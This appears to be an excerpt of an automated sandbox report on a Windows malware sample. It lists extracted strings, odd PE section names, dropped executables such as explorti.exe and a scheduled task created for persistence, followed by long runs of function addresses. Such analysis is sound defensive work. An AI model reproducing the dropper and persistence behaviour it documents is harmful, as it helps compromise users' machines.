Source: 8eb30d7f71.exe, 00000009.00000002.2880216454.00000000005D2000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_7de4c594-e
Source: 8eb30d7f71.exe.6.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_00e89baa-9
Source: 8eb30d7f71.exe.6.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_10856067-5
Source: random[1].exe0.6.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_c89ec19a-3
Source: random[1].exe0.6.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_0884c80f-4

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: explorti.exe.0.dr	Static PE information: section name:
Source: explorti.exe.0.dr	Static PE information: section name: .idata
Source: explorti.exe.0.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: eb98fe5174.exe.6.dr	Static PE information: section name:
Source: eb98fe5174.exe.6.dr	Static PE information: section name: .rsrc
Source: eb98fe5174.exe.6.dr	Static PE information: section name: .idata
Source: eb98fe5174.exe.6.dr	Static PE information: section name:
Source: 53c7d901f1.exe.6.dr	Static PE information: section name:
Source: 53c7d901f1.exe.6.dr	Static PE information: section name: .rsrc
Source: 53c7d901f1.exe.6.dr	Static PE information: section name: .idata
Source: 53c7d901f1.exe.6.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C8FED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	7_2_6C8FED10
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C93B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	7_2_6C93B700
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C93B8C0 rand_s,NtQueryVirtualMemory,	7_2_6C93B8C0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C93B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	7_2_6C93B910
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C8DF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	7_2_6C8DF280
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CB062C0 PR_dtoa,PR_GetCurrentThread,strlen,NtFlushVirtualMemory,PR_GetCurrentThread,memcpy,memcpy,	7_2_6CB062C0

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 6_2_00AFE440	6_2_00AFE440
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 6_2_00AF4CF0	6_2_00AF4CF0
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 6_2_00B33068	6_2_00B33068
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 6_2_00B27D83	6_2_00B27D83
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 6_2_00AF4AF0	6_2_00AF4AF0
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 6_2_00B3765B	6_2_00B3765B
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 6_2_00B32BD0	6_2_00B32BD0
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 6_2_00B38720	6_2_00B38720
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 6_2_00B36F09	6_2_00B36F09
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 6_2_00B3777B	6_2_00B3777B
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C8D35A0	7_2_6C8D35A0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C8E6C80	7_2_6C8E6C80
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9334A0	7_2_6C9334A0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C93C4A0	7_2_6C93C4A0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C8E64C0	7_2_6C8E64C0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C8FD4D0	7_2_6C8FD4D0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C916CF0	7_2_6C916CF0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C8DD4E0	7_2_6C8DD4E0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C915C10	7_2_6C915C10
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C922C10	7_2_6C922C10
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C94AC00	7_2_6C94AC00
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C94542B	7_2_6C94542B
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C94545C	7_2_6C94545C
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C8E5440	7_2_6C8E5440
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C910DD0	7_2_6C910DD0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9385F0	7_2_6C9385F0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C900512	7_2_6C900512
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C8EFD00	7_2_6C8EFD00
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C8FED10	7_2_6C8FED10
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C93E680	7_2_6C93E680
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C8F5E90	7_2_6C8F5E90
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C934EA0	7_2_6C934EA0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9476E3	7_2_6C9476E3
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C8DBEF0	7_2_6C8DBEF0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C8EFEF0	7_2_6C8EFEF0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C917E10	7_2_6C917E10
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C925600	7_2_6C925600
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C939E30	7_2_6C939E30
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C913E50	7_2_6C913E50
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C8F4640	7_2_6C8F4640
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C922E4E	7_2_6C922E4E
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C8F9E50	7_2_6C8F9E50
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C946E63	7_2_6C946E63
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C8DC670	7_2_6C8DC670
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9277A0	7_2_6C9277A0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C906FF0	7_2_6C906FF0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C8DDFE0	7_2_6C8DDFE0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C917710	7_2_6C917710
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C8E9F00	7_2_6C8E9F00
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9060A0	7_2_6C9060A0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9450C7	7_2_6C9450C7
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C8FC0E0	7_2_6C8FC0E0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9158E0	7_2_6C9158E0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C8E7810	7_2_6C8E7810
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C91B820	7_2_6C91B820
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C924820	7_2_6C924820
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C8F8850	7_2_6C8F8850
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C8FD850	7_2_6C8FD850
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C91F070	7_2_6C91F070
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C915190	7_2_6C915190
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C932990	7_2_6C932990
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C90D9B0	7_2_6C90D9B0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C8DC9A0	7_2_6C8DC9A0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C8FA940	7_2_6C8FA940
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C92B970	7_2_6C92B970
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C94B170	7_2_6C94B170
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C8ED960	7_2_6C8ED960
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C94BA90	7_2_6C94BA90
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C942AB0	7_2_6C942AB0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C8D22A0	7_2_6C8D22A0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C904AA0	7_2_6C904AA0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C8ECAB0	7_2_6C8ECAB0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C918AC0	7_2_6C918AC0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C91E2F0	7_2_6C91E2F0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C8F1AF0	7_2_6C8F1AF0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C919A60	7_2_6C919A60
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C8DF380	7_2_6C8DF380
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9453C8	7_2_6C9453C8
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C91D320	7_2_6C91D320
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C8D5340	7_2_6C8D5340
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C8EC370	7_2_6C8EC370
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9DECD0	7_2_6C9DECD0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C97ECC0	7_2_6C97ECC0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA5AC30	7_2_6CA5AC30
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA46C00	7_2_6CA46C00
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C98AC60	7_2_6C98AC60
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C984DB0	7_2_6C984DB0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA16D90	7_2_6CA16D90
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CB0CDC0	7_2_6CB0CDC0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CB08D20	7_2_6CB08D20
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA4ED70	7_2_6CA4ED70
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CAAAD50	7_2_6CAAAD50
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA06E90	7_2_6CA06E90
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C98AEC0	7_2_6C98AEC0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA20EC0	7_2_6CA20EC0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA60E20	7_2_6CA60E20
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA1EE70	7_2_6CA1EE70
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CAC8FB0	7_2_6CAC8FB0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C98EFB0	7_2_6C98EFB0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA5EFF0	7_2_6CA5EFF0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C980FE0	7_2_6C980FE0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C986F10	7_2_6C986F10
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CAC0F20	7_2_6CAC0F20
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA42F70	7_2_6CA42F70
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9EEF40	7_2_6C9EEF40
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA868E0	7_2_6CA868E0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA0A820	7_2_6CA0A820
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9D0820	7_2_6C9D0820
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA54840	7_2_6CA54840
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA109A0	7_2_6CA109A0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA3A9A0	7_2_6CA3A9A0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA409B0	7_2_6CA409B0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA9C9E0	7_2_6CA9C9E0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9B49F0	7_2_6C9B49F0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9D6900	7_2_6C9D6900
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9B8960	7_2_6C9B8960
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9FEA80	7_2_6C9FEA80
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA38A30	7_2_6CA38A30
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA2EA00	7_2_6CA2EA00
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9FCA70	7_2_6C9FCA70
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA20BA0	7_2_6CA20BA0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA86BE0	7_2_6CA86BE0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CAAA480	7_2_6CAAA480
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9C64D0	7_2_6C9C64D0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA1A4D0	7_2_6CA1A4D0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA0A430	7_2_6CA0A430
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9E4420	7_2_6C9E4420
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C998460	7_2_6C998460
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9745B0	7_2_6C9745B0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA4A5E0	7_2_6CA4A5E0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA0E5F0	7_2_6CA0E5F0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA20570	7_2_6CA20570
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9D8540	7_2_6C9D8540
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA84540	7_2_6CA84540
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CAC8550	7_2_6CAC8550
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9E2560	7_2_6C9E2560
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA1E6E0	7_2_6CA1E6E0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9A46D0	7_2_6C9A46D0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9DE6E0	7_2_6C9DE6E0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9DC650	7_2_6C9DC650
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9AA7D0	7_2_6C9AA7D0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA00700	7_2_6CA00700
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C978090	7_2_6C978090
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA5C0B0	7_2_6CA5C0B0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9900B0	7_2_6C9900B0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA4C000	7_2_6CA4C000
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA48010	7_2_6CA48010
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9CE070	7_2_6C9CE070
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9801E0	7_2_6C9801E0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA64130	7_2_6CA64130
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9F6130	7_2_6C9F6130
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9E8140	7_2_6C9E8140
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA522A0	7_2_6CA522A0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA4E2B0	7_2_6CA4E2B0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CB062C0	7_2_6CB062C0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA58220	7_2_6CA58220
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA4A210	7_2_6CA4A210
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA08260	7_2_6CA08260
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA18250	7_2_6CA18250
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9DE3B0	7_2_6C9DE3B0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9B23A0	7_2_6C9B23A0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9D43E0	7_2_6C9D43E0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9F2320	7_2_6C9F2320
